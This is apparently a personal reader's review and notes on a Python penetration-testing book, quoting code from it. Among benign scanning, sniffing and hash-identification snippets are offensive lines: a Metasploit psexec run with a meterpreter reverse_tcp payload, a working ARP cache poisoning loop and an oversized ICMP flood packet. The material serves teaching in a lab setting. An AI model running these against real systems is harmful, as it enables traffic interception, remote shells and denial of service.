[Home] [Articles, Categories, Tags] [Books, Quotes]
Python - Penetration Testing for Developers
Author:
Pub Year:
Source:
Read: 2018-06-16
Last Update: 2018-06-16

Five Sentence Abstract:

A basic overview of penetration testing methodologies, black/white/gray boxing; NIST; OWASP; OSSTMM, are covered, providing a basic understanding of what penetration is, more than how you go about it, for even the least initiated of readers. Next a survey of a large portion of the more common tools is given that provides more of an introduction to, rather than an understanding of, each tool. The best part of the book is probably the coverage of packets, which, while not examined in gory detail, are presented in an easily digestible visual manner in addition to their descriptions, giving the reader enough understanding to take the next step. With your basic understanding of packets, you are now presented with several iterations of python programs that can mimic or extend the features of the publicly available tools; you move from nmap, to the nmap python library, to sockets, and finally scapy, which affords you custom packet creation. The work flow, from reconnaissance to exploit, from logging to reporting, is covered, but, given there is so much to each stage in penetration testing, not in particularly high detail.

Thoughts:

This is a longer, three-in-one style, book. The modules build on each other in a typical fashion. Overall I think there is a lot of interesting stuff here, but it also lacks depth in many places. Metasploit, for example, is used frequently, but there is no detailed instructions on metasploits functionality. While this would be a whole book in and of itself, I still think some of the cookie-cutter, cookbook module could be replaced with a closer look at some of the tools. If nothing else, it is a good book for the intermediate, but includes too little beginner and advanced information.

Actually, the packet dissection is fairly detailed. I'm probably not being fair, since I already understand a lot of this I could get through it fast, if you are a beginner this is probably much better than I make it out to be.

The introduction starts off very basic, discussing what penetration testing is and some of the various methodologies one can follow: Open Source Security Testing Methodology Manual (OSSTMM), Open Web Application Security Project (OWASP) for web assessments, or the National Institute of Standards and Technology (NIST) Special Publication 800-115 Technical Guide to Information Security Testing and Assessment.

It then discusses various testing environments, for example black, white, or gray box testing, where how much information is available at the start of an analysis. Black box being no information, as in the real world, and white box being total information. Gray is, of course, somewhere in the middle. Why would you want to give your testers information that an outside hacker might not have access to, at least initially? To save time and expense.

Next it discusses information gathering, the reconnaissance. This is where most of your time will probably be spent, probing, poking, learning how the network is set up. Even before this you might engage in open source intelligence, finding out what you can about the target without ever touching the target. Google and tools like recon-ng and theharvester can extract a great deal of publicly available information. Later Shodan is covered.

From here there is a whirlwind tour of some of the popular tools you'll be exposed to: metasploit, whois, hashcat, responder, the classic netcat, and a whole host of others. Each is provided with the briefest overview, but the list itself allows for follow-up self-study.

The last part of the introduction includes online repositories, like Shodan, as well as some stats on vulnerabilities. These stats are likely understatements and should be taken with a grain of salt. They are, after all, self-reported. Who expects companies to be forthcoming about their security faux pas?

Finally we get into some technical aspects. First the basics of access points, TCP, network addressing, and the like, are covered. This is followed up by the first tool you'll ever learn, nmap. Luckily it goes into detail about most of nmap's functionality, listing and examining the differences between many useful scans.

From here it shows, not well enough I'd say, examples of how you'd use the addresses, potential targets, found through an nmap scan to mount an attack using metasploit. I suppose the basic examples they use could be nice to someone with no experience, giving them a sense of accomplishment, thrill if you will, of a first exploit, however unrealistic the example might be.

Next, the first taste of python is provided with a rundown of how to build your own scanner using the nmap library. Really the scans are still done with nmap, but it allows you to completely customize how nmap will act. Later a lower level version will be designed using scapy.

The most common types of attacks are then enumerated with simple examples of each. These include dictionary and brute force attacks on SSH servers as well as SQL injection and XSS using web application testing tools like Burp Suite.

Somewhat out of place, in my opinion, is the more advanced topic of creating an exploit using the Immunity debugger. This is probably one of the more interesting parts of the book. It is, again, not covered in detail, but provides another path for further study.

The first module finishes off with a boring, but critically important, aspect: reports. You will collect so much information that you need some way to organize it and if you are doing professional work, you'll also need some way to present it in an understandable format. Grep, parsing, and file formats like csv, xml, and html are all covered.

Module 2 expands on module 1 first by developing a lower level scanner. Instead of using the nmap library, sockets are used. There are a few iterations that build to versions that construct your own packets, culminating with the use of scapy to simplify the process.

Now that you can handle packets and raw sockets, the next development is a tool that can poison ARP cache.

Other programs include extending the scanner to grab banners as well as how to automate SQL injection and XSS testing and execution without the need for third party applications like Burp.

Module 3 is set up as a cookbook, my least favorite style. It opens with a discussion on Shodan, which, while expensive now-a-days, is really worth it.

There are simple programs presented that allow for web header manipulation, image manipulation as used in steganography, and a high level view of encryption, encoding, and hashing. As usual, none of these are covered in detail.

In the final analysis the book is good to get you started, to give you an overview of the many paths you might take. Metasploit and scapy, for example, are barely touched on; either of these projects have numerous books focusing on only them.

On the other hand, it is neat to see functionality provided by things like nmap or burp suite done in python. This gives you a better understanding of the underlying mechanics, most of which are downright simple. Even if the python implementations lack the bells and whistles, the core concepts remain.

Further Reading

Exceptional Excerpts:

Notes:

Table of Contents

Module 1: Learning Penetration Testing with Python

1_01: Understanding the Penetration Testing Methodology
1_02: The Basics of Python Scripting
1_03: Identifying Targets with Nmap, Scapy, and Python
1_04: Executing Credential Attacks with Python
1_05: Exploiting Services with Python
1_06: Assessing Web Applications with Python
1_07: Cracking the Perimeter with Python
1_08: Exploit Development with Python, Metasploit, and Immunity
1_09: Automating Reports and Tasks with Python
1_10: Adding Permanency to Python Tools

Module 2: Python Penetration Testing Essentials

2_01: Python with Penetration Testing and Networking
2_02: Scanning Pentesting
2_03: Sniffing and Penetration Testing
2_04: Wireless Pentesting
2_05: Foot Printing of a Web Server and a Web Application
2_06: Client-side and DDoS Attacks
2_07: Pentesting of SQLI and XSS

Module 3: Python Web Penetration Testing Cookbook

3_01: Gathering Open Source Intelligence
3_02: Enumeration
3_03: Vulnerability Identification
3_04: SQL Injection
3_05: Web Header Manipulation
3_06: Image Analysis and Manipulation
3_07: Encryption and Encoding
3_08: Payloads and Shells
3_09: Reporting

Module 1: Learning Penetration Testing with Python

1_01: Understanding the Penetration Testing Methodology

page 7:
page 12:
page 13:
page 15:
page 17:
page 22:
page 29:
page 30:
page 31:
page 32:
page 33:

1_02: The Basics of Python Scripting

page 47:
1
print(variable_name) #DEBUG
1
g/.*DEBUG/d
1
%s/.*DEBUG/#&

1_03: Identifying Targets with Nmap, Scapy, and Python

page 77:

page 78:

page 79:

page 80:

page 81:

page 82:
page 84:
1
nmap -sT -vvv -p 80 192.168.195.0/24
page 85:
1
nmap -sS -vvv -p 80 192.168.195.0/24
1
nmap -sA -vvv -p80 192.168.195.0/24
page 86:
1
nmap -sU -vvv -p161 192.168.195.0/24
page 87:
1
nmap -sS -sU -vvv -p U:161,139 T:8080,21 192.168.195.0/24
page 87:

page 88:
page 89:
1
2
cat nmap_scan.gnmap | grep 445/open/tcp | cut -d" " -f2 >>
/root/Desktop/smb_hosts_list
1
Host: 192.168.195.112 () Ports: 445/open/tcp/
page 90:
1
2
3
4
5
6
use auxiliary/scanner/smb/smb_login
set SMBUser administrator
set SMBPass test
set SMBDomain Workgroup
set RHOSTS file:/root/Desktop/smb_hosts_list
run
1
2
3
4
5
6
7
8
9
msfconsole
use exploit/windows/smb/psexec
set SMBUser administrator
set SMBPass test
set SMBDomain Workgroup
set payload windows/meterpreter/reverse_tcp
set RHOST 192.168.195.112
set LPORT 443
exploit -j
page 93:
1
nmap --script "(default or safe) and not http-*" <target IP>
page 94:
1
2
for i in `seq 1 255`; do ping -c 1 192.168.$1.1 | tr \\n ' ' | awk '/1
received/ {print $2}'; done
page 96:

page 98:
1
2
3
4
5
6
7
scanner = nmap.PortScanner()
scanner.scan(addrs, ports)
for host in scanner.all_hosts():
  if not scanner[host].hostname():
    print("The host's IP address is %s and it's hostname was not found") % (host)
  else:
    print("The host's IP address is %s and it's hostname is %s") % (host, scanner[host].hostname())
page 103:

page 105:

1_04: Executing Credential Attacks with Python

page 116:

1_05: Exploiting Services with Python

page 135:
page 136:
page 137:
page 139:

page 151:
page 157:

1_06: Assessing Web Applications with Python

page 174:

1_07: Cracking the Perimeter with Python

page 178:

1_08: Exploit Development with Python, Metasploit, and Immunity

page 201:

1_09: Automating Reports and Tasks with Python

page 249:

1_10: Adding Permanency to Python Tools

page 277:
1
2
3
4
5
6
7
# Establish pool list
pool = multiprocessing.Pool(processes=threads, initializer=log_init(log))
# Queue up the targets to assess
results = pool.map(host_request, targets_list)
  for result in results:
    for value in result:
      print(value)

Module 2: Python Penetration Testing Essentials

2_01: Python with Penetration Testing and Networking

page 289:
page 290:
page 293:

page 300:
page 301:
page 302:

2_02: Scanning Pentesting

page 307:
1
2
3
4
5
For the application layer, PDU indicates data
For the transport layer, PDU indicates a segment
For the Internet or the network layer, PDU indicates a packet
For the data link layer or network access layer, PDU indicates a frame
For the physical layer, that is, physical transmission, PDU indicates bits

2_03: Sniffing and Penetration Testing

page 340:

page 341:

page 342:

page 344:
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
import socket
import struct
import binascii

s = socket.socket(socket.PF_PACKET, socket.SOCK_RAW, socket.ntohs(0x0800))
while True:
  pkt = s.recvfrom(2048)

  ethhead = pkt[0][0:14]
  eth = struct.unpack("!6s6s2s",ethhead)
  print "--------Ethernet Frame--------"
  print "desination mac",binascii.hexlify(eth[0])
  print "Source mac",binascii.hexlify(eth[1])
  #binascii.hexlify(eth[2])

  ipheader = pkt[0][14:34]
  ip_hdr = struct.unpack("!8sB3s4s4s",ipheader)
  print "-----------IP------------------"
  print "TTL :", ip_hdr[1]
  print "Source IP", socket.inet_ntoa(ip_hdr[1])
  print "Destination IP", socket.inet_ntoa(ip_hdr[2])
  print "---------TCP----------"

  tcpheader = pkt[0][34:54]
  #tcp_hdr = struct.unpack("!HH16s",tcpheader)
  tcp_hdr = struct.unpack("!HH9ss6s",tcpheader)
  print "Source Port ", tcp_hdr[0]
  print "Destination port ", tcp_hdr[1]
  print "Flag ",binascii.hexlify(tcp_hdr[3])

  print pkt[0][54:]

page 348:
1
2
3
4
5
6
7
8
import socket
s = socket.socket(socket.PF_PACKET, socket.SOCK_RAW, socket.ntohs(0x0800))
s.bind(("eth0",socket.htons(0x0800)))
sor = '\x00\x0c\x29\x4f\x8e\x35'
des ='\x00\x0C\x29x2E\x84\x7A'
code ='\x08\x00'
eth = des+sor+code
s.send(eth)
page 349:
page 350:

page 351:
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
import socket
import struct
import binascii

s = socket.socket(socket.PF_PACKET, socket.SOCK_RAW, socket.ntohs(0x0800))
s.bind(("eth0",socket.htons(0x0800)))

sor = '\x00\x0c\x29\x4f\x8e\x35'
victmac ='\x00\x0C\x29\x2E\x84\x7A'
gatemac = '\x00\x50\x56\xC0\x00\x08'

code ='\x08\x06' #arp protocol

eth1 = victmac+sor+code #for victim
eth2 = gatemac+sor+code # for gateway

htype = '\x00\x01' #arp packet
protype = '\x08\x00'
hsize = '\x06'
psize = '\x04'
opcode = '\x00\x02'

gate_ip = '192.168.0.1'
victim_ip = '192.168.0.11'
gip = socket.inet_aton (gate_ip) #convert IP to hex
vip = socket.inet_aton (victim_ip)

arp_victim = eth1+htype+protype+hsize+psize+opcode+sor+gip+victmac+vip
arp_gateway= eth2+htype+protype+hsize+psize+opcode+sor+vip+gatemac+gip

while 1:
  s.send(arp_victim)
  s.send(arp_gateway)
page 354:
1
2
3
4
1. The client sends an SYN packet to the server on the intended port.
2. If the port is open, then the server responds with the SYN/ACK packet.
3. If the server responds with an RST packet, it means the port is closed.
4. The client sends the RST to close the initiation.
page 355:
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
from scapy.all import *
ip1 = IP(src="192.168.0.10", dst ="192.168.0.3" )
tcp1 = TCP(sport =1024, dport=80, flags="S", seq=12345)
packet = ip1/tcp1
p =sr1(packet, inter=1)
p.show()
rs1 = TCP(sport =1024, dport=80, flags="R", seq=12347)
packet1=ip1/rs1
p1 = sr1(packet1)
p1.show
page 358:
1
2
3
4
5
6
from scapy.all import *
ip1 = IP(src="192.168.0.10", dst ="192.168.0.11")
sy1 = TCP(sport =1024, dport=80, flags="F", seq=12345)
packet = ip1/sy1
p =sr1(packet)
p.show()
page 360:
page 361:
1
2
3
4
from scapy.all import *
ip1 = IP(src="192.168.0.99", dst ="192.168.0.11")
packet = ip1/ICMP()/("m"*60000)
send(packet)

2_04: Wireless Pentesting

2_05: Foot Printing of a Web Server and a Web Application

page 393:
1
2
3
4
5
6
7
8
9
import socket
import struct
import binascii
s = socket.socket(socket.PF_PACKET, socket.SOCK_RAW, socket.ntohs(0x0800))
while True:
  pkt = s.recvfrom(2048)
  banner = pkt[0][54:533]
  print banner
  print "--"*40

2_06: Client-side and DDoS Attacks

2_07: Pentesting of SQLI and XSS

Module 3: Python Web Penetration Testing Cookbook

3_01: Gathering Open Source Intelligence

page 440:
1
$ easy_install shodan

3_02: Enumeration

3_03: Vulnerability Identification

3_04: SQL Injection

3_05: Web Header Manipulation

page 526:
1
2
3
4
5
6
7
import requests
verbs = ['GET', 'POST', 'PUT', 'DELETE', 'OPTIONS', 'TRACE', 'TEST']
for verb in verbs:
  req = requests.request(verb, 'http://packtpub.com')
  print verb, req.status_code, req.reason
  if verb == 'TRACE' and 'TRACE / HTTP/1.1' in req.text:
    print 'Possible Cross Site Tracing vulnerability found'

3_06: Image Analysis and Manipulation

3_07: Encryption and Encoding

page 597:
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
import re
def hashcheck (hashtype, regexstr, data):
  try:
    valid_hash = re.finditer(regexstr, data)
    result = [match.group(0) for match in valid_hash]
    if result:
      return "This hash matches the format of: " + hashtype
  except: pass

string_to_check = raw_input('Please enter the hash you wish to check: ')

hashes = (
  ("Blowfish(Eggdrop)", r"^\+[a-zA-Z0-9\/\.]{12}$"),
  ("Blowfish(OpenBSD)", r"^\$2a\$[0-9]{0,2}?\$[a-zA-Z0-9\/\.]{53}$"),
  ("Blowfish crypt", r"^\$2[axy]{0,1}\$[a-zA-Z0-9./]{8}\$[a-zA-Z0-9./]{1,}$"),
  ("DES(Unix)", r"^.{0,2}[a-zA-Z0-9\/\.]{11}$"),
  ("MD5(Unix)", r"^\$1\$.{0,8}\$[a-zA-Z0-9\/\.]{22}$"),
  ("MD5(APR)", r"^\$apr1\$.{0,8}\$[a-zA-Z0-9\/\.]{22}$"),
  ("MD5(MyBB)", r"^[a-fA-F0-9]{32}:[a-z0-9]{8}$"),
  ("MD5(ZipMonster)", r"^[a-fA-F0-9]{32}$"),
  ("MD5 crypt", r"^\$1\$[a-zA-Z0-9./]{8}\$[a-zA-Z0-9./]{1,}$"),
  ("MD5 apache crypt", r"^\$apr1\$[a-zA-Z0-9./]{8}\$[a-zA-Z0-9./]{1,}$"),
  ("MD5(Joomla)", r"^[a-fA-F0-9]{32}:[a-zA-Z0-9]{16,32}$"),
  ("MD5(Wordpress)", r"^\$P\$[a-zA-Z0-9\/\.]{31}$"),
  ("MD5(phpBB3)", r"^\$H\$[a-zA-Z0-9\/\.]{31}$"),
  ("MD5(Cisco PIX)", r"^[a-zA-Z0-9\/\.]{16}$"),
  ("MD5(osCommerce)", r"^[a-fA-F0-9]{32}:[a-zA-Z0-9]{2}$"),
  ("MD5(Palshop)", r"^[a-fA-F0-9]{51}$"),
  ("MD5(IP.Board)", r"^[a-fA-F0-9]{32}:.{5}$"),
  ("MD5(Chap)", r"^[a-fA-F0-9]{32}:[0-9]{32}:[a-fA-F0-9]{2}$"),
  ("Juniper Netscreen/SSG (ScreenOS)", r"^[a-zA-Z0-9]{30}:[a-zA-Z0- 9]{4,}$"),
  ("Fortigate (FortiOS)", r"^[a-fA-F0-9]{47}$"),
  ("Minecraft(Authme)", r"^\$sha\$[a-zA-Z0-9]{0,16}\$[a-fA-F0- 9]{64}$"),
  ("Lotus Domino", r"^\(?[a-zA-Z0-9\+\/]{20}\)?$"),
  ("Lineage II C4", r"^0x[a-fA-F0-9]{32}$"),
  ("CRC-96(ZIP)", r"^[a-fA-F0-9]{24}$"),
  ("NT crypt", r"^\$3\$[a-zA-Z0-9./]{8}\$[a-zA-Z0-9./]{1,}$"),
  ("Skein-1024", r"^[a-fA-F0-9]{256}$"),
  ("RIPEMD-320", r"^[A-Fa-f0-9]{80}$"),
  ("EPi hash", r"^0x[A-F0-9]{60}$"),
  ("EPiServer 6.x < v4", r"^\$episerver\$\*0\*[a-zA-Z0-9]{22}==\*[a- zA-Z0-9\+]{27}$"),
  ("EPiServer 6.x >= v4", r"^\$episerver\$\*1\*[a-zA-Z0- 9]{22}==\*[a-zA-Z0-9]{43}$"),
  ("Cisco IOS SHA256", r"^[a-zA-Z0-9]{43}$"),
  ("SHA-1(Django)", r"^sha1\$.{0,32}\$[a-fA-F0-9]{40}$"),
  ("SHA-1 crypt", r"^\$4\$[a-zA-Z0-9./]{8}\$[a-zA-Z0-9./]{1,}$"),
  ("SHA-1(Hex)", r"^[a-fA-F0-9]{40}$"),
  ("SHA-1(LDAP) Base64", r"^\{SHA\}[a-zA-Z0-9+/]{27}=$"),
  ("SHA-1(LDAP) Base64 + salt", r"^\{SSHA\}[a-zA-Z0- 9+/]{28,}[=]{0,3}$"),
  ("SHA-512(Drupal)", r"^\$S\$[a-zA-Z0-9\/\.]{52}$"),
  ("SHA-512 crypt", r"^\$6\$[a-zA-Z0-9./]{8}\$[a-zA-Z0-9./]{1,}$"),
  ("SHA-256(Django)", r"^sha256\$.{0,32}\$[a-fA-F0-9]{64}$"),
  ("SHA-256 crypt", r"^\$5\$[a-zA-Z0-9./]{8}\$[a-zA-Z0-9./]{1,}$"),
  ("SHA-384(Django)", r"^sha384\$.{0,32}\$[a-fA-F0-9]{96}$"),
  ("SHA-256(Unix)", r"^\$5\$.{0,22}\$[a-zA-Z0-9\/\.]{43,69}$"),
  ("SHA-512(Unix)", r"^\$6\$.{0,22}\$[a-zA-Z0-9\/\.]{86}$"),
  ("SHA-384", r"^[a-fA-F0-9]{96}$"),
  ("SHA-512", r"^[a-fA-F0-9]{128}$"),
  ("SSHA-1", r"^({SSHA})?[a-zA-Z0-9\+\/]{32,38}?(==)?$"),
  ("SSHA-1(Base64)", r"^\{SSHA\}[a-zA-Z0-9]{32,38}?(==)?$"),
  ("SSHA-512(Base64)", r"^\{SSHA512\}[a-zA-Z0-9+]{96}$"),
  ("Oracle 11g", r"^S:[A-Z0-9]{60}$"),
  ("SMF >= v1.1", r"^[a-fA-F0-9]{40}:[0-9]{8}&"),
  ("MySQL 5.x", r"^\*[a-f0-9]{40}$"),
  ("MySQL 3.x", r"^[a-fA-F0-9]{16}$"),
  ("OSX v10.7", r"^[a-fA-F0-9]{136}$"),
  ("OSX v10.8", r"^\$ml\$[a-fA-F0-9$]{199}$"),
  ("SAM(LM_Hash:NT_Hash)", r"^[a-fA-F0-9]{32}:[a-fA-F0-9]{32}$"),
  ("MSSQL(2000)", r"^0x0100[a-f0-9]{0,8}?[a-f0-9]{80}$"),
  ("MSSQL(2005)", r"^0x0100[a-f0-9]{0,8}?[a-f0-9]{40}$"),
  ("MSSQL(2012)", r"^0x02[a-f0-9]{0,10}?[a-f0-9]{128}$"),
  ("TIGER-160(HMAC)", r"^[a-f0-9]{40}$"),
  ("SHA-256", r"^[a-fA-F0-9]{64}$"),
  ("SHA-1(Oracle)", r"^[a-fA-F0-9]{48}$"),
  ("SHA-224", r"^[a-fA-F0-9]{56}$"),
  ("Adler32", r"^[a-f0-9]{8}$"),
  ("CRC-16-CCITT", r"^[a-fA-F0-9]{4}$"),
  ("NTLM)", r"^[0-9A-Fa-f]{32}$"),
)

counter = 0
for h in hashes:
  text = hashcheck(h[0], h[1], string_to_check)
  if text is not None:
    counter += 1
    print text
if counter == 0:
  print "Your input hash did not match anything, sorry!"

3_08: Payloads and Shells

3_09: Reporting











[About] [Contact]